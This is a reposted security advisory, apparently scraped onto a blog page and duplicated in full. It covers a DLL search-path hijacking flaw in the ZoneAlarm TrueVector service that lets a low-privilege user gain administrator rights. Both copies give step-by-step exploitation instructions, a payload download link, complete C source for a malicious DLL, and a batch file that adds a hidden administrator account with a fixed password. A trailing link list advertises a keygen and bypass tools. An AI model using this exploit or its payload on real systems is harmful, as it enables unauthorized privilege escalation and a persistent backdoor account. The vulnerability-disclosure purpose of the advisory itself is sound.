Zone Labs ZoneAlarm Security Bypass
来源:互联网 发布:灯具生产厂软件 编辑:程序博客网 时间:2024/04/30 11:09
During Windows startup the TrueVector service (vsmon.exe - an integral piece of most Zone Labs products) is set to startup automatically. The TrueVector service runs under the context of the Local System account.
During its startup process it attempts to load several DLLs (that are listed below).
- VSUTIL_Loc0409_Oem8701.dll
- VSUTIL_Oem8701.dll
- VSUTIL_Loc0409.dll
- vsmon_Loc0409_Oem8701.dll
- vsmon_Oem8701.dll
- vsmon_Loc0409.dll
- VSRULEDB_Loc0409_Oem8701.dll
- VSRULEDB_Oem8701.dll
- VSRULEDB_Loc0409.dll
- av_Loc0409_Oem8701.dll
- av_Oem8701.dll
- av_Loc0409.dll
- zlquarantine_Loc0409_Oem8701.dll
- zlquarantine_Oem8701.dll
- zlquarantine_Loc0409.dll
- zlsre_Loc0409_Oem8701.dll
- zlsre_Oem8701.dll
- zlsre_Loc0409.dll
It appears that instead of using the full path to the DLL during the load process only the name of the DLL is used. This causes several instances of Windows PATH trolling (where Windows tries to locate the DLL in the directories listed in its PATH environment variable on behalf of the vsmon.exe process). This PATH trolling is what makes the vsmon.exe process vulnerable to several privilege escalation techniques. Below is the output from a Filemon capture of the TrueVector service startup process (edited for brevity). Please note that I have ActiveState's ActivePerl installed so C:/Perl/bin is included in my PATH.
vsmon.exe QUERY INFORMATION C:/Perl/bin/VSUTIL_Loc0409_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/VSUTIL_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/VSUTIL_Loc0409.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/vsmon_Loc0409_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/vsmon_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/vsmon_Loc0409.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/VSRULEDB_Loc0409_Oem8701.dll
NOT FOUND
vsmon.exe QUERY INFORMATION C:/Perl/bin/VSRULEDB_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/VSRULEDB_Loc0409.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/av_Loc0409_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/av_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/av_Loc0409.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/zlquarantine_Loc0409_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/zlquarantine_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/zlquarantine_Loc0409.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/zlsre_Loc0409_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/zlsre_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/zlsre_Loc0409.dll NOT FOUND
Exploitation Requirements:
First of all, you will need to have a directory that is writeable to a lower level user, that is included in the Windows PATH environment variable. As you saw above, I had ActiveState's ActivePerl installed and it worked just fine.
Secondly, verify that the path you have chosen is definitely writeable to a lower level user. On Windows 2000 operating systems the default permissions for the root of the partition where the operating system is installed is set as Everyone/Full Control. So, by default, C:/Perl/bin is set to Everyone/Full Control. On Windows 2000 operating systems a guest account can be used during the exploitation process.
On Windows XP, the C:/Perl/bin folder has special permissions set (by
default) for the local Users group that allows the creation and modification of new files and folders. Perfect, that is all that is needed. On Windows XP, an account in the local Users group can be used during the exploitation process.
Vulnerable Versions:
Zone Labs ZoneAlarm Security Suite build 6.1.744.000 and possibly earlier versions
Patches/Workarounds:
The vendor was notified several times but there was no response. The initial notification was sent on 12.20.05. Two follow-up notifications were sent afterward.
Exploits:
1. Download http://reedarvin.thearvins.com/tools/magic.zip or compile your own using
the source code below.
2. Extract the magic.dll and magic.bat files.
3. Rename the magic.dll file to any of the 18 different file names listed above. In
this example I will use VSUTIL_Loc0409_Oem8701.dll.
4. Copy the VSUTIL_Loc0409_Oem8701.dlll and magic.bat files to your chosen directory
listed in the Windows PATH environment variable.
5. Restart the machine.
6. When the TrueVector service starts up it will create a new user account named
Magic with a password of M@g1c$$ and add it to the local Administrators group.
// ===== Start Magic.c ======
// Build Instructions
//
// gcc -c -DBUILD_DLL magic.c
// gcc -shared -o magic.dll -W1,--out-implib,libkernel32.a magic.o
#include <windows.h>
VOID RunMagicBatFile( VOID );
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved ) {
BOOLEAN bSuccess = TRUE;
switch ( fdwReason )
{
case DLL_PROCESS_ATTACH:
RunMagicBatFile();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return bSuccess;
}
VOID RunMagicBatFile()
{
TCHAR szWinDir[ _MAX_PATH ];
TCHAR szCmdLine[ _MAX_PATH ];
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );
wsprintf( szCmdLine, "%s//system32//cmd.exe /c magic.bat", szWinDir );
ZeroMemory( &si, sizeof( si ) );
si.cb = sizeof( si );
ZeroMemory( &pi, sizeof( pi ) );
CreateProcess( NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
}
// ===== End Magic.c ======
// ===== Start Magic.bat ======
net user Magic M@g1c$$ /add
net localgroup Administrators Magic /add // ===== End Magic.bat ======
Nota: Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)
During its startup process it attempts to load several DLLs (that are listed below).
- VSUTIL_Loc0409_Oem8701.dll
- VSUTIL_Oem8701.dll
- VSUTIL_Loc0409.dll
- vsmon_Loc0409_Oem8701.dll
- vsmon_Oem8701.dll
- vsmon_Loc0409.dll
- VSRULEDB_Loc0409_Oem8701.dll
- VSRULEDB_Oem8701.dll
- VSRULEDB_Loc0409.dll
- av_Loc0409_Oem8701.dll
- av_Oem8701.dll
- av_Loc0409.dll
- zlquarantine_Loc0409_Oem8701.dll
- zlquarantine_Oem8701.dll
- zlquarantine_Loc0409.dll
- zlsre_Loc0409_Oem8701.dll
- zlsre_Oem8701.dll
- zlsre_Loc0409.dll
It appears that instead of using the full path to the DLL during the load process only the name of the DLL is used. This causes several instances of Windows PATH trolling (where Windows tries to locate the DLL in the directories listed in its PATH environment variable on behalf of the vsmon.exe process). This PATH trolling is what makes the vsmon.exe process vulnerable to several privilege escalation techniques. Below is the output from a Filemon capture of the TrueVector service startup process (edited for brevity). Please note that I have ActiveState's ActivePerl installed so C:/Perl/bin is included in my PATH.
vsmon.exe QUERY INFORMATION C:/Perl/bin/VSUTIL_Loc0409_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/VSUTIL_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/VSUTIL_Loc0409.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/vsmon_Loc0409_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/vsmon_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/vsmon_Loc0409.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/VSRULEDB_Loc0409_Oem8701.dll
NOT FOUND
vsmon.exe QUERY INFORMATION C:/Perl/bin/VSRULEDB_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/VSRULEDB_Loc0409.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/av_Loc0409_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/av_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/av_Loc0409.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/zlquarantine_Loc0409_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/zlquarantine_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/zlquarantine_Loc0409.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/zlsre_Loc0409_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/zlsre_Oem8701.dll NOT FOUND vsmon.exe QUERY INFORMATION C:/Perl/bin/zlsre_Loc0409.dll NOT FOUND
Exploitation Requirements:
First of all, you will need to have a directory that is writeable to a lower level user, that is included in the Windows PATH environment variable. As you saw above, I had ActiveState's ActivePerl installed and it worked just fine.
Secondly, verify that the path you have chosen is definitely writeable to a lower level user. On Windows 2000 operating systems the default permissions for the root of the partition where the operating system is installed is set as Everyone/Full Control. So, by default, C:/Perl/bin is set to Everyone/Full Control. On Windows 2000 operating systems a guest account can be used during the exploitation process.
On Windows XP, the C:/Perl/bin folder has special permissions set (by
default) for the local Users group that allows the creation and modification of new files and folders. Perfect, that is all that is needed. On Windows XP, an account in the local Users group can be used during the exploitation process.
Vulnerable Versions:
Zone Labs ZoneAlarm Security Suite build 6.1.744.000 and possibly earlier versions
Patches/Workarounds:
The vendor was notified several times but there was no response. The initial notification was sent on 12.20.05. Two follow-up notifications were sent afterward.
Exploits:
1. Download http://reedarvin.thearvins.com/tools/magic.zip or compile your own using
the source code below.
2. Extract the magic.dll and magic.bat files.
3. Rename the magic.dll file to any of the 18 different file names listed above. In
this example I will use VSUTIL_Loc0409_Oem8701.dll.
4. Copy the VSUTIL_Loc0409_Oem8701.dlll and magic.bat files to your chosen directory
listed in the Windows PATH environment variable.
5. Restart the machine.
6. When the TrueVector service starts up it will create a new user account named
Magic with a password of M@g1c$$ and add it to the local Administrators group.
// ===== Start Magic.c ======
// Build Instructions
//
// gcc -c -DBUILD_DLL magic.c
// gcc -shared -o magic.dll -W1,--out-implib,libkernel32.a magic.o
#include <windows.h>
VOID RunMagicBatFile( VOID );
BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved ) {
BOOLEAN bSuccess = TRUE;
switch ( fdwReason )
{
case DLL_PROCESS_ATTACH:
RunMagicBatFile();
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return bSuccess;
}
VOID RunMagicBatFile()
{
TCHAR szWinDir[ _MAX_PATH ];
TCHAR szCmdLine[ _MAX_PATH ];
STARTUPINFO si;
PROCESS_INFORMATION pi;
GetEnvironmentVariable( "WINDIR", szWinDir, _MAX_PATH );
wsprintf( szCmdLine, "%s//system32//cmd.exe /c magic.bat", szWinDir );
ZeroMemory( &si, sizeof( si ) );
si.cb = sizeof( si );
ZeroMemory( &pi, sizeof( pi ) );
CreateProcess( NULL, szCmdLine, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi );
CloseHandle( pi.hProcess );
CloseHandle( pi.hThread );
}
// ===== End Magic.c ======
// ===== Start Magic.bat ======
net user Magic M@g1c$$ /add
net localgroup Administrators Magic /add // ===== End Magic.bat ======
Nota: Discovered by Reed Arvin reedarvin[at]gmail[dot]com
(http://reedarvin.thearvins.com/)
- Zone Labs ZoneAlarm Security Bypass
- ZoneAlarm® Internet Security Suite v6.5 + Keygen
- PHP cURL 'safe mode' Security Bypass Vulnerability
- Oracle Database Authentication Protocol Security Bypass
- 关于security information bar和 iE security zone strategy
- Lighttpd 'mod_userdir' Case Sensitive Comparison Security Bypass Vulnerability
- Simple Machines Forum Change Administrator Password Security Bypass Vulnerability
- Labs
- zone
- [IE技巧] IE Security Zone 的注册表设置
- HTTPS post: bypass SSL security check and trust all the hosts
- ZoneAlarm 5.1.033
- 安装ZoneAlarm防火墙
- ZoneAlarm Programs Control List
- Bypass FsdFilter
- Bypass RestoreSystem
- bypass ujvc
- ByPass UAC
- RSS解读(推荐)
- Oracle数据导入导出imp/exp
- [转]C/C++语言中指向函数的指针
- 激情投入状态之后的轻松
- jira keygen
- Zone Labs ZoneAlarm Security Bypass
- 猪八戒才是人才?
- 16进制字符串转数值的程序,共享一下。
- SQL语句积累
- "还原精灵伴侣"和Traybar
- mysql 字符字段的更新
- 转点经典的
- 武林外传经典对话大全
- 关于如何将word文件读入RichTextBox